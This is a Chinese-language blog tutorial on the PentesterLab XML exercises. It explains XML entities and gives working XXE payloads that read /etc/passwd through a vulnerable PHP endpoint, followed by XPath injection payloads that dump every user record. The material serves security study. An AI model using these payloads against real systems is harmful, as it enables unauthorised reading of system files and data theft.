XML 允许用户在 XML 文档内自定义实体,以此来扩展其标准实体集。这些自定义实体可以直接写在可选的 DOCTYPE 中,而它们代表的扩展值则可引用一个外部资源。正是 XML 的这种支持自定义引用、可引用外部资源内容的可扩展性,导致系统易受 XXE 的攻击。
- ENTITY 实体
如果在 XML 文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个 ENTITY,然后再在文档中调用它。
XML定义了两种类型的 ENTITY,一种在XML文档中使用,另一种在为参数在 DTD 文件中使用。
ENTITY 的定义语法:
<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的 ENTITY 在文档中通过 &实体名;
来使用,这里举一个例子:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name "Tom" >
]>
<root>
<name>&name;</name>
</root>
定义一个 name 值为 Tom,就可以在 XML 任何地方引用。
前面还加上SYSTEM
,但是如果此处没有任何过滤,我们完全可以引用系统敏感文件的,前提是页面有回显,否则你只引用了文件但不知道文件内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE balabala [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>
Example 1
关键代码:
Hello
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
- simplexml_load_string
函数把 XML 字符串载入对象中,如果失败,则返回 false。
simplexml_load_file(string,class,options,ns,is_prefix)
参数 | 说明 |
---|---|
string | 必需,规定要使用的 XML 字符串 |
class | 可选,规定新对象的 class |
options | 可选,规定附加的 Libxml 参数 |
ns | 可选,命名空间前缀或URI |
is_prefix | **TRUE 如果ns 是前缀,FALSE 则为URI;默认为FALSE **。 |
知道 XXE 的原理后,尝试包含本地敏感文件:
<!DOCTYPE xxx[<!ENTITY name SYSTEM "file:///etc/passwd">]><name>&name;</name>
需要进行 URL 编码:
/xml/example1.php?xml=%3C%21DOCTYPE%20xxx%5B%3C%21ENTITY%20name%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Cname%3E%26name%3B%3C%2fname%3E
最终效果如下:
Example 2
关键代码:
$x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";
$xml=simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
$res = ($xml->xpath($xpath));
while(list( ,$node) = each($res)) {
echo $node;
}
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。
XPath 基本语法:
bookstore # 选取 bookstore 元素的所有子节点。
/bookstore # 选取根元素 bookstore。
bookstore/book # 选取属于 bookstore 的子元素的所有 book 元素。
//book # 选取所有 book子元素,而不管它们在文档中的位置。
bookstore//book # 选择属于 bookstore 元素的后代的所有 book 元素
//@lang # 选取名为 lang 的所有属性。
本关中涉及到的 XML 代码美化后如下:
<data>
<users>
<user>
<name>hacker</name>
<message>Hello hacker</message>
<password>pentesterlab</password>
</user>
<user>
<name>admin</name>
<message>Hello admin</message>
<password>s3cr3tP4ssw0rd</password>
</user>
</users>
</data>
和之前的 LDAP 注入差不多,闭合原来的语句,%00 截断注释掉后面语句,构造一个永真条件实现 XML 注入:
' or 1=1]%00
带入到 xpath 中的语句如下:
users/user/name[.='' or 1=1]%00']/parent::*/message
所以最终的 payload 如下:
/xml/example2.php?name=' or 1=1]%00
同时查询出 hacker 和 admin 用户的信息。
查询所有子节点的 payload 为:
/xml/example2.php?name=' or 1=1]/parent::*/child::node()%00
总结 XXE 这块通过写这篇文章发现是国光的薄弱点,国光我打算再单独写一篇文章来学习 XXE 漏洞,所以本文中 XML 这块讲的不清楚的话请见谅,挖个坑,待日后重写 XML 这一块知识。
参考资料
- CTF 中的 PHP 知识汇总
- PHP create_function()代码注入
- PentesterLab新手教程(一):代码注入
- Web for pentester_writeup之LDAP attacks篇
- PentesterLab 新手教程(三) :LDAP攻击
- PentesterLab新手教程(二):XML注入
支持一下
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信
![]() |
支付宝
![]() |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光